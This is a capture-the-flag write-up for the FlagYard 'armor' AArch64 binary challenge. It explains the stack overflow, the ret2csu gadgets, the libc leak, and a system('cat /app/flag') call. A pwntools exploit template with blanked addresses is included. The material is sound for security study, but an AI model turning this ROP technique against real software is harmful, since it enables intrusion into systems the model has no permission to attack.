Writeup
Armor FlagYard — Writeup
Armor Challenge — Writeup
This writeup explains how to solve the armor pwn challenge. The binary is AArch64, NX enabled, PIE disabled, and it contains a classic stack overflow in vuln() that lets us control main’s return address. The goal is to leak a libc address, compute system(), and run a command to read the flag.
Summary
We get a stack overflow in vuln() that can overwrite the saved return address of main. Because PIE is disabled, we can use fixed gadget addresses in the binary. The plan:
- Locate the overflow and compute the offset to
main’s saved LR. - Use ret2csu to call
write()and leakwrite@libc. - Return to
mainand repeat the overflow. - Use ret2csu again to call
read()into.bssand then callsystem("cat /app/flag")via a function pointer.
Binary Protections (checksec)
- Arch: aarch64-64-little
- Canary: not present
- NX: enabled
- PIE: disabled
- RELRO: partial
PIE is off, so gadget and PLT addresses are stable.
Vulnerability Analysis
Where the overflow happens
In the decompiled vuln():
int64_t vuln(){ void buf; read(0, &buf, 0x1f4); return 0;}The buffer lives on the stack, and read() allows 0x1f4 bytes, which overflows into saved registers and the caller’s frame.
Stack layout (important offsets)
From the AArch64 prologue in vuln():
stp x29, x30, [sp, #-0x80]!mov x29, spadd x0, x29, #0x18- Local buffer starts at
x29 + 0x18. vuln’s saved LR is atx29 + 0x8.- We cannot reach
vuln’s LR from the buffer, but we can overwritemain’s saved LR via the overflow.
Offsets (from buffer start):
- To
mainsaved x29:0x68 - To
mainsaved x30:0x70 - Next stack area for ROP chain:
0x98
Ret2CSU on AArch64
The binary has a usable CSU sequence in __libc_csu_init:
-
Pop gadget at
0x40078c:ldp x20, x21, [sp, #0x18]ldp x22, x23, [sp, #0x28]ldr x24, [sp, #0x38]ldp x29, x30, [sp], #0x40ret
-
Call gadget at
0x400760:- loads function pointer from
[x21 + x19*8](withx19 = 0) - sets
w0 = x22,x1 = x23,x2 = x24 blr x3
- loads function pointer from
This lets us call any function whose pointer we can place in x21 (GOT entry or .bss).
Stage 1: Leak libc
We call write(1, write@got, 8) using ret2csu:
x22 = 1(fd)x23 = write@got(buf)x24 = 8(len)x21 = write@got(function pointer)
The 8-byte leak gives write@libc. From that, we compute libc base and system().
Stage 2: Execute system()
We use ret2csu twice:
-
read(0, .bss, 0x80)to place data in.bss:- 8 bytes:
systemfunction pointer - 8 bytes: padding
- command string:
"cat /app/flag"\0
- 8 bytes:
-
Call
system(.bss+0x10)by setting:x21 = .bss(function pointer table)x22 = .bss + 0x10(argument)
This runs the command and prints the flag.

End-to-End Strategy
- Connect to the service.
- Send stage-1 payload to leak
write@libc. - Compute libc base and
system(). - Send stage-2 payload to call
system("cat /app/flag"). - Read output.
Solver (template — no addresses)
Below is a simplified solver showing the core logic. Fill in addresses from your analysis if you want to reproduce manually.
#!/usr/bin/env python3from pwn import *
HOST = "tcp.flagyard.com"PORT = 00000
context.arch = "aarch64"
# --- fill these from your analysis ---POP_CSU = 0x0000000000000000CSU_CALL = 0x0000000000000000WRITE_GOT = 0x0000000000000000READ_GOT = 0x0000000000000000MAIN = 0x0000000000000000BSS = 0x0000000000000000
OFFSET_SAVED_X29 = 0x00OFFSET_SAVED_X30 = 0x00OFFSET_CHAIN = 0x00
def start(): return remote(HOST, PORT)
def csu_frame(x29, x30, x20, x21, x22, x23, x24): # Stack layout for the CSU pop gadget (0x40 bytes) return ( p64(x29) + p64(x30) + p64(0) + # padding to reach sp+0x18 p64(x20) + p64(x21) + p64(x22) + p64(x23) + p64(x24) )
def stage1(): # Leak write@libc via write(1, write@got, 8) payload = b"A" * OFFSET_SAVED_X29 payload += p64(0) payload += p64(POP_CSU) payload += b"B" * (OFFSET_CHAIN - (OFFSET_SAVED_X30 + 8)) payload += csu_frame(BSS, CSU_CALL, 1, WRITE_GOT, 1, WRITE_GOT, 8) payload += csu_frame(0, MAIN, 0, 0, 0, 0, 0) return payload
def stage2(system_addr, cmd): # Read command into .bss and call system(cmd) payload = b"A" * OFFSET_SAVED_X29 payload += p64(0) payload += p64(POP_CSU) payload += b"B" * (OFFSET_CHAIN - (OFFSET_SAVED_X30 + 8)) payload += csu_frame(BSS, CSU_CALL, 1, READ_GOT, 0, BSS, 0x80) payload += csu_frame(BSS, CSU_CALL, 1, BSS, BSS + 0x10, 0, 0)
data = p64(system_addr) + b"\\x00" * 8 + cmd + b"\\x00" data = data.ljust(0x80, b"\\x00") return payload, data
def main(): io = start() io.recvuntil(b"arm world!\\n") io.send(stage1())
leak = io.recvn(8) write_addr = u64(leak)
# --- fill these from your libc --- libc_write = 0x0000000000000000 libc_system = 0x0000000000000000 libc_base = write_addr - libc_write system_addr = libc_base + libc_system
io.recvuntil(b"arm world!\\n") payload2, data = stage2(system_addr, b"cat /app/flag") io.send(payload2) io.send(data)
out = io.recvall(timeout=2) if out: print(out.decode(errors="ignore"))
if __name__ == "__main__": main()Notes
- NX is enabled, so no shellcode.
- PIE is disabled, so binary gadgets are stable.
- The overflow reaches
main’s saved LR, notvuln’s. - ret2csu works well on AArch64 when gadget variety is low.
Final Result